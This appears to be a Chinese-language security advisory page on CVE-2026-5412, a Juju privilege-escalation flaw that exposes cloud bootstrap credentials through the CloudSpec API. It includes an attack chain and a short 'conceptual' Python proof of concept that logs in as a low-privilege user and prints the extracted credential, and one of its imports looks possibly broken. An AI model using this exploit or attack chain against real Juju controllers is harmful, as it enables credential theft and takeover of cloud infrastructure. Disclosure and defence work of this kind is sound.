IPBUF安全漏洞报告
English
CVE-2026-5412 CVSS 9.9 严重

CVE-2026-5412 Juju权限提升与凭证泄露漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-5412
漏洞类型
权限提升
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Juju

相关标签

权限提升信息泄露Juju云安全CVE-2026-5412凭证窃取

漏洞概述

Juju在2.9.57和3.6.21之前的版本中存在严重的授权缺陷。由于Controller facade对CloudSpec API的权限校验不足,低权限用户可利用此漏洞提取用于引导控制器的云凭证。该问题可能导致敏感凭证泄露,进而引发更严重的系统被控风险。

技术细节

该漏洞核心在于Juju Controller facade处理CloudSpec API请求时的授权逻辑缺失。在受影响版本中,虽然用户仅拥有低权限,但系统在响应CloudSpec相关调用时,未对请求者访问底层云凭证的合法性进行充分校验。攻击者通过网络(AV:N)发起攻击,仅需经过低权限认证(PR:L)且无需用户交互(UI:N),即可向控制器发送恶意API请求。利用该漏洞,攻击者能够获取用于引导Juju控制器的底层云服务凭证(如AWS、Azure等高级别密钥)。鉴于这些凭证通常拥有对云基础设施的完全控制权,攻击者可进一步利用其破坏系统的机密性(C:H)、完整性(I:H)和可用性(A:H),实现从应用层到基础设施层的攻击跨越。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标环境运行的是存在漏洞的Juju版本。
STEP 2
2. 获取低权限账号
攻击者通过钓鱼或弱口令猜测获取一个Juju控制器的低权限用户凭证。
STEP 3
3. 发起API调用
攻击者使用低权限账号连接Controller,并调用CloudSpec API方法。
STEP 4
4. 提取凭证
由于漏洞存在,服务器返回了用于bootstrap的敏感云凭证(如AWS Key)。
STEP 5
5. 横向移动/接管
攻击者利用获取的高权限云凭证直接访问底层云基础设施,完全控制环境。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-5412 Demonstrates credential extraction via CloudSpec API. """ import asyncio from juju import jao from juju.client import client async def get_cloud_spec(controller_addr, username, password): # Connect to the Juju Controller conn = await jao.connect(controller_addr) try: # Login with low-privilege user credentials await conn.login(username, password) # Access the vulnerable Controller facade # The vulnerability allows low-priv users to call this controller_facade = client.ControllerFacade.from_connection(conn) print("[*] Attempting to retrieve CloudSpec...") # Call the CloudSpec method which exposes credentials in vulnerable versions cloud_spec = await controller_facade.CloudSpec() print("[+] Success! Extracted sensitive cloud credentials:") print(f"Cloud Credential: {cloud_spec['cloud_credential']}") print(f"Endpoint: {cloud_spec['endpoint']}") return cloud_spec except Exception as e: print(f"[-] Exploit failed: {e}") finally: await conn.close() if __name__ == "__main__": # Example usage # asyncio.run(get_cloud_spec("wss://10.0.0.1:17070", "low_user", "pass123")) pass

影响范围

Juju < 2.9.57
Juju < 3.6.21

防御指南

临时缓解措施
如果无法立即升级,建议严格限制Juju Controller的网络访问,仅允许可信IP连接,并对所有低权限用户的操作行为进行严密监控,一旦发现CloudSpec接口的异常调用即刻阻断。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表